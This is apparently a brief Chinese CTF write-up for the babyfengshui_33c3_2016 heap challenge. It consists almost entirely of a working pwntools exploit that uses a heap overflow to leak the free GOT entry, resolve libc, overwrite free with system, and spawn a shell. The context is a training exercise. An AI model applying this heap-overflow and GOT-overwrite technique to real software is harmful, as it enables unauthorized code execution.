堆题目

首先需要理解题意

```
from pwn import *
from LibcSearcher import *

context(log_level='debug')
#io=remote('node4.buuoj.cn',27348)
io = process('./babyfengshui_33c3_2016')
elf = ELF('./babyfengshui_33c3_2016')

def add(size,name,length,text):
    io.recvuntil("Action: ")
    io.sendline('0')
    io.recvuntil("size of description: ")
    io.sendline(str(size))
    io.recvuntil("name: ")
    io.sendline(name)
    io.recvuntil("text length: ")
    io.sendline(str(length))
    io.recvuntil("text: ")
    io.sendline(text)

def delete(index):
    io.recvuntil("Action: ")
    io.sendline('1')
    io.recvuntil("index: ")
    io.sendline(str(index))

def display(index):
    io.recvuntil("Action: ")
    io.sendline('2')
    io.recvuntil("index: ")
    io.sendline(str(index))

def update(index,length,text):
    io.recvuntil("Action: ")
    io.sendline('3')
    io.recvuntil("index: ")
    io.sendline(str(index))
    io.recvuntil("text length: ")
    io.sendline(str(length))
    io.recvuntil("text: ")
    io.sendline(text)

add(0x80,'wsxk',0x80,'wsxk')
add(0x80,'wsxk',0x80,'wsxk')
add(0x8,'/bin/sh\x00',0x8,'/bin/sh\x00')
delete(0)
add(0x108,'wsxk',0x19c,'w'*0x198+p32(elf.got['free']))
display(1)
io.recvuntil('description: ')
free_addr = u32(io.recv(4))
```

```
libc = LibcSearcher('free',free_addr)
libc_base = free_addr-libc.dump('free')
system_addr = libc_base + libc.dump('system')
update(1,0x4,p32(system_addr))
delete(2)

print(hex(free_addr))
print(hex(libc.dump('system')))
io.interactive()
```